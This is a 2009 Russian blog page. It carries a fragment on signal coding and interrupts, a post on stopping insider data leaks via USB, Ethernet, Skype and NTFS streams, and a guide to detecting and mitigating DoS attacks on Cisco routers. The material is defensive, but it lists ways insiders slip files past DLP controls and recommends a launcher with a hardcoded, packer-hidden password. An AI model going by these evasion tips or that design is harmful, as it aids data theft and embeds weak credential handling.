Например, в протоколе Manchester (используется в Ethernet) единица дополняется нулем, а ноль – единицей, поэтому значений с высоким уровнем на линии столько же, сколько и с низким. К тому же, так мы сохраняем заряд кабеля. Приемник всегда может подстроиться на частоту и амплитуду сигнала, и в итоге – потерь данных меньше.

Что-то подобное используется и в кодировании данных на CD-ROM, где 8 бит каждого байта по таблице переводятся в избыточные 14 с тем принципом, что любые две единицы разделяются, минимум, двумя и, максимум, десятью нулями. Вместе с дополнительными тремя битами, склеивающими байты, мы получаем равномерно «серую» поверхность диска, поэтому сенсор всегда явно различает темные (темнее серого) и светлые (светлее серого) участки.

Википедия предлагает небольшие обзорные статьи по теме:

Внутренности сенсора

Инфракрасный датчик – довольно сложное устройство. Для начала, в нем есть фотодиод, реагирующий на ИК-часть спектра. Напрямую аналоговый сигнал с фотодиода на контроллер посылать не имеет смысла – он просто все свободное время будет оцифровывать картинку и пытаться извлечь из нее данные. Поэтому в датчик уже включены фильтры и демодулятор, дергающий в итоге за базу транзистора. Как только поймается единица, транзистор откроется, и вывод OUT закоротится с землей GND – тогда контроллер видит переход состояний и запускает прерывание.

Аппаратные прерывания

Любое ядро любого процессора как-то должно реагировать на внешние раздражители, например, на приход сигнала с какой-нибудь ножки. Первый способ – банально написать программу, периодически опрашивающую периферию на предмет изменения состояния. Но это затратно, несинхронно и вообще, немодно. Поэтому еще на заре компьютеростроения был изобретен механизм прерываний. Специальный периферийный контроллер содержит список функций (обработчиков), на которые нужно совершать переход, если произошло какое-либо событие. Если оно происходит, контроллер прерываний насильно сохраняет текущие значения регистров в стеке и перебрасывает процессорное ядро на новый адрес с обработчиком. Последний исполняется и сбрасывает флаг прерывания, сообщая, что оно обработано и можно двигаться дальше.

Сентябрь 18, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet

Борьба с утечкой информации через USB/Ethernet-порты

ВОЗДВИГАЯ НОВЫЕ СИСТЕМЫ ЗАЩИТЫ, МНОГИЕ АДМИНИСТРАТОРЫ НЕ ПОДОЗРЕВАЮТ, ЧТО УГРОЗЫ НАХОДЯТСЯ НЕ ТОЛЬКО СНАРУЖИ, НО ЕЩЕ И ВНУТРИ КОРПОРАТИВНОЙ СЕТИ.

Рассмотрим типичный офисный компьютер с демонтированным floppy-дисководом, лишенный записывающих CD/DVD-приводов, не имеющий никаких интегрированных беспроводных устройств (BlueTooth, WLAN) и подключенный к локальный сети, с выходом в интернет через proxy-сервер или NAT. Из портов имеется только USB и еще, возможно, COM/LPT.

За компьютером сидит продвинутый пользователь, который намеревается скопировать конфиденциальную информацию на свой домашний компьютер (исключительно для удобства и без всякого злого умысла) или же передать ее третьим лицам (за определенное вознаграждение). И в том, и в другом случае мы сталкивается с утечкой данных, которую администратор обязан предотвратить.

Возможные каналы утечки информации

Основные источники угрозы: USB/Ethernet-порты и средство голосового общения Skype, столь популярное в последнее время на работе. COM/LPT-порты используются значительно реже, но представляют не меньший интерес для злоумышленников. Цифровые выходы звуковой карты и монитора — уже из области экзотики, которой занимаются только хакеры-электронщики. Остальные способы требуют либо вскрытия компьютера, либо чрезвычайно высокой квалификации злоумышленника, поэтому их в расчет не берем.

USB

USB-порты, перекочевавшие на лицевые панели ПК и корпуса USB-клавиатур, значительно упростили обмен файлами между компьютерами. Но как защититься от кражи информации? Самое простое (и самое радикальное) решение проблемы — отключить USB-разъемы или воткнуть в них заглушки, обильно смазанные «суперклеем». К таким мерам администраторы, кстати, прибегают достаточно часто. Офисный компьютер может работать и без USB. Ему не нужны никакие периферийные устройства, и к нему не нужно подключать принтер (для этого есть локальная сеть). Но в некоторых случаях без USB не обойтись.

Можно установить на компьютер систему защиты типа ZLock или любую другую. Принцип один. Специальный драйвер перехватывает запросы на запись к USB и в зависимости от политики доступа (контролируемой администратором) либо разрешает запись, либо выдает сообщение об ошибке. На практике защитные средства типа ZLock ограничиваются блокировкой записи определенных файлов. На первый взгляд все замечательно: пользователи обмениваются безобидными файлами и не могут стащить ничего ценного, однако, в защите обнаруживается огромная дыра.

Допустим, имеется документ MS Word (или электронная таблица). Что помешает пользователю сохранить ее под другим именем или скопировать в буфер обмена и вставить в файл, который не внесен в «охраняемый» список? Даже если защита анализирует типы файлов, основываясь на их содержимом, пользователь может сжать файл малоизвестным архиватором или замаскировать его каким-нибудь другим способом.

Ethernet

Кабели локальной сети — это артерии и вены любой организации, имеющей более одного компьютера и основной источник утечек, который, в отличие от USB, уже нельзя закрыть заглушкой. Злоумышленнику достаточно подключить свое устройство к свободному Ethernet-порту, и он уже в локальной сети.

Прежде всего, необходимо настроить маршрутизаторы, привязав локальные IP-адреса к MAC-адресам, и закрыть на брандмауэре все незанятые Ethernet-порты. Это намного проще и надежнее, чем помещать хабы в железный сейф, стоимость которого (помноженная на количество хабов в сети) весьма значительна. Естественно, прописывание MAC-адресов в настройках брандмауэра/маршрутизатора – занятие довольно утомительное, к тому же, не существует никакой возможности отличить настоящий MAC-адрес от поддельного (не говоря уже о том, что в большинстве сетевых устройств MAC-адрес хранится во FLASH-памяти и может быть изменен).

Skype

Среди прочих средств голосовой связи Skype выделятся тем, что шифрует свой трафик и виртуозно обходит NAT’ы вместе с брандмауэрами, используя протоколы STUN и TURN. А если они не срабатывают, гонит трафик через HTTP-proxy, автоматически определяя настройки браузера. Другими словами, Skype представляет собой идеальное средство для передачи файлов из локальной сети в «дикий» интернет. Причем, определить, кому был передан файл, невозможно, поскольку Skype использует распределенную сеть, каждый из узлов которой может обслуживать всех остальных абонентов. Максимум, администратор «вычислит» Skype-имя пользователя, которое мало что даст.

К сожалению, программ для детектирования и блокирования Skype-трафика не существует, и единственное, что может предпринять администратор — периодически сканировать клиентские компьютеры на предмет наличия Skype и удалять как зловредную программу.

Помимо Skype, конфиденциальная информация может быть передана через электронную почту или любой файлообменный сервер типа www.rapidshare.com, но они, в отличие от Skype, по крайней мере, оставляют следы в логах proxy-серверов и брандмауэров, позволяя вывести нечестного сотрудника компании на чистую воду.

COM/LPT

Многие современные компьютеры вообще не имеют COM-/LPT-портов, и это хорошо, поскольку, используя ноутбук, злоумышленник может установить «прямое кабельное соединение» и скачать все необходимые файлы. Правда, через COM большой файл за пару минут не скачаешь, да и у LPT пропускная способность находится на низком (по современным меркам) уровне. Но угроза утечки есть, и эти порты лучше сразу закрыть заглушками, а на заглушки повесить «замок».

Методы защиты, основанные на NTFS-потоках

Файловая система NTFS выгодно отличается от FAT16/32 тем, что поддерживает несколько потоков (streams) в рамках одного файла, также называемых атрибутами (attributes). Только не стоит путать их с атрибутами «только на чтение» или атрибутами времени создания/доступа/последней модификации — это совершенно разные вещи.

Каждый файл от рождения имеет один безымянный поток, и именно с этим потоком мы работаем при открытии/закрытии файла, и именно его размер берется за основу при подсчете размера файла. Однако мы можем создавать и другие потоки, отделяя их названия от имени файла символом «:». Например, X:\my_file:my_stream1 или X:\my_file:my_stream2. Естественно, полный путь указывать не обязательно, и X:\my_file:my_stream1 работает также хорошо, как и my_file:my_stream1 (если, конечно, my_file:my_stream1 находится в текущем каталоге).

Безымянный поток

Проведем простой эксперимент. Возьмем FAR, создадим новый файл (комбинация <Shift-F4>), назвав его «kpnc:nezumi», после чего в открывшемся окне редактора наберем что-нибудь наподобие «hello, world». Сохраняем. FAR и проводник показывают нулевой размер файла. При редактировании файл действительно пуст. Но если нажать комбинацию <Shift-F4> + «kpnc:nezumi», приветствие «hello, world» вновь появится на экране.

Если нет FAR’а, тот же самый фокус можно проделать и со штатным «блокнотом». Только он требует, чтобы имя файла и имя потока оканчивалось обязательным расширением «.txt», иначе ничего не получится. Пишем в командной строке «notepad kpnc.txt:nezumi.txt», вводим что-нибудь, сохраняемся. Теперь, если попытаться открыть файл, мы ничего не увидим (безымянный поток остается пустым) и «проводник» отрапортует о нулевом размере файла. Но стоит набрать «notepad kpnc.txt:nezumi.txt», и содержимое потока nezumi.txt появляется на экране. «Чудеса»!

Теперь поговорим, как эти «чудеса» можно использовать на практике. При копировании в файловую систему, отличную от NTFS (например, на лазерный диск или флешку, размеченную под FAT), копируется только безымянный поток, а все остальные игнорируются. При передаче по локальной сети все потоки сохраняются (и это хорошо), однако ни FAR, ни «проводник» не позволяют выбирать, какие именно потоки копировать, а какие нет. Утилита командной строки «copy» с этим также не справляется, обвиняя в неправильном синтаксисе. Некоторые утилиты (например, RAR) поддерживают сохранение всех потоков файла, чтобы полученный архив было можно записать на не NTFS-носитель, а при последующей распаковке на NTFS-разделе получить все потоки обратно.

Потоки — идеальное средство для защиты от несанкционированного копирования файлов. Создаем файл с тремя потоками. Первый — безымянный и может содержать все, что угодно (или не содержать ничего). Второй — именованный. Именно он хранит тело документа/электронной таблицы/базы данных, с которым необходимо работать. Третий (именованный) поток играет роль своеобразного балласта и несет на своем борту несколько гигабайт мусора, сгенерированного произвольным образом и, желательно, очень трудно сжимаемого архиваторами.

Допустим, злоумышленник захотел скопировать этот файл на флешку, размеченную под FAT. Тогда он получит только первый (безымянный) поток, не содержащий ничего или содержащий грозное предупреждение с указанием немедленно явиться к начальнику с повинной. Если же это флешка отформатирована под NTFS, то «проводник» попытается скопировать все три потока, но третий поток туда не влезет физически. Аналогичным образом обстоят дела и с передачей файла по сети. Незаметно передать несколько гигабайт злоумышленнику не удастся, особенно если на исходящий трафик установлен жесткий лимит.

Но есть и определенные минусы:

  • Открыв файл в Word/Excel и скопировав его в буфер обмена, злоумышленник сможет записать его через USB, если USB-порт открыт на запись, а также передать по сети через тот же Skype.
  • Квалифицированный программист сможет написать программу для выборочного копирования отдельных потоков.
  • Потоки-балласты занимают достаточно много места, уменьшая полезную емкость жесткого диска.

Методы защиты, основанные на запуске программ от имени спецпользователя

Допустим, мы имеем «оператора архива», который должен резервировать все файлы, но при этом не должен иметь к ним доступ, чтобы не утащить налево. Возможно ли это? Здравый смыл подсказывает, что нет, в то время как операционные системы семейства NT (UNIX в том числе) утверждают, что возможно. Все достаточно просто. Пользователь запускает программу от имени другого пользователя, обладающего правами доступа ко всем файлам, которая выполняет архивацию и записывает результат в указанный оператором архива файл, но доступа к этому файлу оператор не имеет. Чтобы злоумышленник не подсунул программе резервирования сменный носитель, который потом будет подключен к другой машине, например, к своему домашнему компьютеру, где он обладает правами администратора, следует использовать атрибут шифрования файла. Тогда для его открытия одних лишь прав администратора окажется недостаточно и потребуется заполучить ключ, хранящийся в учетной записи того пользователя, от имени которого запускается программа архивации. Подобная практика защиты очень широко распространена и соответствующие профили даже встроены в Windows NT, однако, ничто не мешает нам использовать ее не только для архивации, но и для повседневной работы с важными файлами.

Например, MS Word, запускаемый от имени специального пользователя с настроенными правами доступа к секретным файлам. Как следствие, обычный пользователь сможет открывать/сохранять файлы только через MS Word, но не сможет скопировать их через «сохранить как». Точнее, скопировать-то он их сможет, но вот открыть сохраненный файл — нет, даже если он записан на флешку, KПК или другое устройство. К сожалению, по умолчанию буфер обмена одного пользователя доступен всем остальным, что позволяет «перетягивать» секретные файлы через copy/paste, но, изменив настройки политики безопасности, можно (и нужно) сделать буфер обмена спецпользователя невидимым для всех остальных.

Но… разработчики Windows NT забыли доделать запуск программ от имени других пользователей с автоматическим вводом пароля. А это значит, что секретный пароль придется сообщать всем простым пользователям, иначе они не смогут запустить ни Word, ни другое защищаемое нами приложение. Здесь возможны два выхода из ситуации. Первый — Word запускает администратор и оставляет его открытым, не позволяя пользователям его закрывать. Забавно, конечно, зато бесплатно. Второй — пишем свой собственный загрузчик, запускающий программы от имени других пользователей и автоматически передающий им пароль, жестко прошитый в нем. А чтобы пароль не бросался в глаза при просмотре файла в hex-редакторе, загрузчик шифруется любым exe-упаковщиком. Поскольку проблема необходимости явного ввода пароля (кстати, отсутствующая в UNIX-подобных операционных системах) возникла не вчера, в Сети можно найти множество готовых загрузчиков, в том числе и бесплатных.

Сентябрь 18, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet

АнтиDoS: защита от DoS-атаки средствами маршрутизатора

СРЕДИ МНОЖЕСТВА АТАК МОЖНО ВЫДЕЛИТЬ ТРИ ОСНОВНЫХ ВИДА: DOS-АТАКИ, АТАКИ, ЦЕЛЬЮ КОТОРЫХ ЯВЛЯЕТСЯ ПОЛУЧЕНИЕ ДОСТУПА К СЕТИ, И РАЗВЕДЫВАТЕЛЬНЫЕ АТАКИ, ЦЕЛЬЮ КОТОРЫХ ЯВЛЯЕТСЯ ПОЛУЧЕНИЕ ИНФОРМАЦИИ О СЕТИ. МЫ ПОГОВОРИМ О DOS-АТАКАХ, ИХ РАЗНОВИДНОСТЯХ, ОБНАРУЖЕНИИ И ЗАЩИТЕ СЕТИ ОТ НИХ СРЕДСТВАМИ МАРШРУТИЗАТОРА.

О DoS-атаках (атаках на отказ в обслуживании — Denial of Service) всерьез заговорили только в 1999 году, когда были «завалены» web-сайты известных корпораций: Amazon, Yahoo, CNN, eBay, E-Trade и других. Хотя сама техника DoS-атак известна с 1996 года. Позже появились распределенные DoS-атаки (Distributed Denial of Service или DDoS). В этом случае атака производится несколькими узлами, что усложняет ее пресечение и обнаружение источника.

Что же такое DoS-атака? Цель – захватить все ресурсы компьютера-жертвы, чтобы другие пользователи не имели к ним доступа. К ресурсам относятся: память, процессорное время, дисковое пространство, сетевые ресурсы и т.д.

Рассмотрим наиболее распространенные виды DoS-атак:

  • Smurf — злоумышленником отправляются широковещательные echo-пакеты (протокол ICMP), в заголовках которых в качестве источника указывается адрес жертвы. В результате, все системы, получившие ping-запрос, «заваливают» жертву echo-ответами.
  • ICMP-flood — похожа на Smurf, но отправляет ICMP-запросы напрямую на узел-жертву без использования широковещательного адреса.
  • UDP-flood — отправка на узел-мишень огромного количества UDP-пакетов, что приводит к «связыванию» сетевых ресурсов.
  • TCP-flood — аналогична предыдущей, но используются TCP-пакеты.
  • TCP SYN-flood — злоумышленник отправляет на открытый порт много SYN-пакетов с недостижимым адресом источника. Атакуемый маршрутизатор должен ответить пакетом <SYN, ACK>, но узел, указанный в качестве источника, недоступен, и поэтому трехступенчатая схема установления TCP-соединения не завершается. А поскольку таких SYN-пакетов очень много, лимит на количество открытых соединений быстро превышается и жертва отказывается принимать запросы на установление соединения от обычных пользователей сети.

Далее посмотрим, как обнаружить DoS-атаку и как защититься от нее средствами маршрутизатора. Для защиты от DoS мы будем использовать перехват TCP-соединений (TCP Intercept), пакетный фильтр, NBAR и ограничение потока ICMP-пакетов. Нужно отметить, что далеко не всегда можно уберечься от DoS-атаки, но при правильной настройке всегда можно свести старания злоумышленника к нулю.

Обнаружение DoS-атаки

Основные симптомы DoS-атаки:

  • Огромное количество ARP-запросов;
  • Огромное количество записей в NAT/PAT-таблице;
  • Повышенное использование памяти маршрутизатора;
  • Повышенное использование процессорного времени маршрутизатора.

Причем мы рассматриваем управляемые маршрутизаторы, оснащенные собственной операционной системой. Для обнаружения симптомов DoS-атаки вам нужно подключиться к своему маршрутизатору и, используя диагностические утилиты операционной системы маршрутизатора, выяснить, имеет ли место DoS-атака. Например, в Cisco IOS просмотреть использование процессора можно с помощью команды «show processes cpu».

Обнаружение с помощью ACL

Для обнаружения DoS-атаки можно использовать ACL (Access Control List). Сначала обнуляем счетчики ACL, затем просматриваем статистику ACL — интересует количество запрещенных с помощью ACL пакетов. Запоминаем это количество и повторно вводим команду вывода статистики. Опять смотрим на число запрещенных пакетов. Если оно сильно отличается от первого числа, значит, в данный момент на сеть производится DoS-атака. В Cisco IOS все вышесказанное можно реализовать двумя командами: «clear access-list counters» (сбрасывает счетчики) и «show access-list» (показывает статистику ACL).

При обычной настройке маршрутизатор показывает, сколько пакетов было запрещено, но он не предоставляет подробной информации об этих пакетах. Чтобы была возможность отслеживать DoS-атаки, нужно специальным образом настроить ACL. Это позволит нам не только увидеть, сколько пакетов отброшено, но и проанализировать причину запрещения пакетов. Например, можно добавить в ACL следующие правила:

# access-list 100 deny icmp any any echo
# access-list 100 deny icmp any any echo-reply

В результате, при просмотре статистики увидим, сколько было запрещено echo-запросов (первое правило) и сколько echo-ответов. Например:

# show access-list 100
...
deny icmp any any echo (1938 matches)
deny icmp any any echo-reply (358687 matches)

Обратите внимание: echo-запросов запрещено 1938, а echo-ответов — 358687. Это похоже на Smurf-атаку, когда IP-адрес нашего маршрутизатора указан в качестве источника широковещательного ping-запроса.

NetFlow для Cisco

Технология NetFlow используется для получения статистики по потокам данных, проходящих через оборудование Cisco. NetFlow использует потоки для идентификации трафика. Cisco идентифицирует каждый поток по следующим параметрам: IP-адресам отправителя и получателя, типу протокола (TCP, UDP), номерам портов протоколов TCP и UDP, типу сервиса, номеру входящего физического интерфейса и т.д. Все это позволяет получить полную информацию о трафике, проанализировав которую можно определить тип DoS-атаки. Отдельно рассматривать NetFlow в статье не будем — в интернете достаточно информации об этой технологии: www.informit.com/articles/printerfriendly.asp?p=345618&rl=1 иwww.opennet.ru/docs/RUS/netflow_bsd/.

Перехват TCP-соединений

Некоторые маршрутизаторы поддерживают технологию перехвата TCP-соединений (в Cisco она называется TCP Intercept). Данная технология успешно используется против TCP SYN-атак.

Маршрутизатор, находящийся между клиентом и сервером, перехватывает все запросы TCP-соединений (1 на картинке), то есть все пакеты <SYN>. После этого маршрутизатор завершает соединение вместо клиента, принимая ответ сервера <SYN, ACK> и отправляя ему пакет <ACK> (4, 5, 6 на картинке). В то же время маршрутизатор посылает ответ сервера (<SYN, ACK>) клиенту (2 на картинке). Если клиент ответил пакетом <ACK> (3 на картинке), то маршрутизатор выполняет связывание двух соединений («клиент-маршрутизатор» и «маршрутизатор-сервер») в одно соединение (7 на картинке). Если клиент не ответил вовремя, то маршрутизатор разрывает оба соединения – и с мнимым клиентом, и с сервером.

Данная технология весьма эффективно зарекомендовала себя при борьбе с TCP SYN-атаками. Для включения TCP Intercept в Cisco IOS используется команда:

ip tcp intercept list <номер ACL>

Пакетный фильтр

Современные маршрутизаторы имеют встроенный фильтр пакетов (например, в Cisco фильтр пакетов называется CBAC — Context-Based Access Control). Фильтр пакетов позволяет определить, какой трафик должен быть разрешен на основании списков доступа (ACL). То есть позволяет проанализировать пакеты, убедиться в их безопасности, а только потом передать их во внутреннюю сеть.

Возникает логичный вопрос — зачем нужен пакетный фильтр вроде CBAC, если уже есть списки доступа? ACL не обеспечивает должного уровня безопасности, поскольку списки доступа являются статическими, а их редактирование выполняется вручную администратором. CBAC позволяет динамически создавать (или, наоборот, удалять) списки доступа, обеспечивая более высокий уровень безопасности. Если CBAC заподозрил неладное, он добавит нужный ACL, который предотвратит распространение трафика злоумышленника. Причем все это делается автоматически, без вмешательства администратора. Администратору нужно лишь задать начальную конфигурацию ACL и CBAC.

Подробно настройка CBAC описана в документе www.informit.com/articles/article.asp?p=26533&rl=1, а если интересует настройка в общих чертах, тогда прочитайте документ www.unixdoc.ru/index.php?mode=2&podmode=1&arcicle_id=175&theme=cisco.

Ограничение частоты ICMP

Представим следующую ситуацию. Есть внутренняя сеть, и есть маршрутизатор, через который осуществляется связь внутренней сети с внешним миром. Некто посылает запрос в нашу сеть, но обращается к несуществующему узлу. Вроде бы ничего страшного — маршрутизатор просто ответит ICMP-сообщением о недоступности заданного узла. А теперь представим, что таких запросов очень много и все они поступают с разных источников. Понятно, что маршрутизатор только и будет отправлять ICMP-пакеты, а на полезную работу времени у него не останется. Поэтому нам нужно ограничить частоту ICMP-сообщений средствами маршрутизатора. А можно вообще запретить отправку ICMP-сообщений о недоступности того или иного узла.

Ограничить частоту отправки сообщений можно с помощью IOS-команды:

ip icmp rate-limit unreachable <миллисекунды>

Так, командой «ip icmp rate-limit unreachable 1000» разрешаем одно ICMP-сообщение «unreachable» в секунду. Для запрета всех сообщений «unreachable» используется IOS-команда:

access-list <номер ACL> deny icmp any any unreachable

Если вы решили ограничить ICMP-сообщения с помощью rate-limit, стоит знать о главной проблеме этой команды: она может работать только с сообщениями «unreachable». Если вы хотите ограничить трафик другого вида, в том числе и «unreachable»-сообщения, нужно использовать CAR (committed access rate). Настройка CAR подробно рассмотрена в статьеwww.informit.com/articles/printerfriendly.asp?p=345618&rl=1.

NBAR для ограничения Smurf-атаки

Технология NBAR (Network-Based Application Recognition) используется для более детального анализа сетевого трафика. К сожалению, NBAR можно использовать только для трафика, который может быть переадресован с помощью технологии CEF (Cisco Express Forwarding), то есть NBAR — это технология Cisco и для Cisco. Но поскольку маршрутизаторы Cisco широко распространены, это не так страшно.

С помощью NBAR вы можете, например, отправить весь нежелательный трафик на нулевой интерфейс, а также ограничить частоту входящих пакетов. NBAR очень удобно использовать для ограничения Smurf-пакетов. Smurf-атака использует echo-запрос и echo-ответ, поэтому для ограничения подобной атаки достаточно ограничить эти два типа пакетов. В документе www.informit.com/articles/printerfriendly.asp?p=345618&rl=1 подробно раскрывается принцип защиты от Smurf-атаки с помощью NBAR и рассматривается защита от сетевого червя W32.Blaster.

IDS

Использование системы обнаружения вторжения IDS (Intrusion Detection System) позволяет уберечься от многих видов атак, в том числе и от DoS. Система IDS может быть установлена как на сервере, так и на маршрутизаторе. Некоторые модели маршрутизаторов оснащены встроенными IDS. О настройке Cisco IDS (кстати, есть версия Cisco IDS для UNIX) можно прочитать в документе www.informit.com/articles/article.asp?p=24696&rl=1, а о настройке IDS для сервера – здесь:www.dkws.org.ua/index.php?page=show&file=a/hacker/lids-2 и www.dkws.org.ua/index.php?page=show&file=a/hacker/-hacker.

Дополнительная настройка серверов

Не нужно надеяться, что маршрутизатор полностью защитит вашу сеть от DoS-атак. Защита должна быть комплексной. Компьютеры и особенно серверы также должны быть под контролем.

WWW

www.informit.com/articles/printerfriendly.asp?p=345618&rl=1 – пошаговое руководство по защите от DoS-атак с помощью маршрутизатора Cisco

www.unixdoc.ru/index.php?mode=2&podmode=1&arcicle_id=175&theme=cisco – Context-Based Access Control: настройка и принципы функционирования

www.dlink.ru/technology/attacks.php – классификация сетевых атак

www.opennet.ru/docs/RUS/netflow_bsd/ – технология NetFlow в FreeBSD

www.informit.com/articles/article.asp?p=26533&rl=1 – подробно о настройке CBAC

www.informit.com/articles/article.asp?p=24696&rl=1 – настройка Cisco IDS

www.dkws.org.ua/index.php?page=show&file=a/hacker/lids-2 – о настройке LIDS

www.dkws.org.ua/index.php?page=show&file=a/hacker/-hacker – о настройке других IDS (SE Linux, GrSecurity)

http://gazette.linux.ru.net/rus/articles/lnx_dos.html – Linux и DoS

Сентябрь 18, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet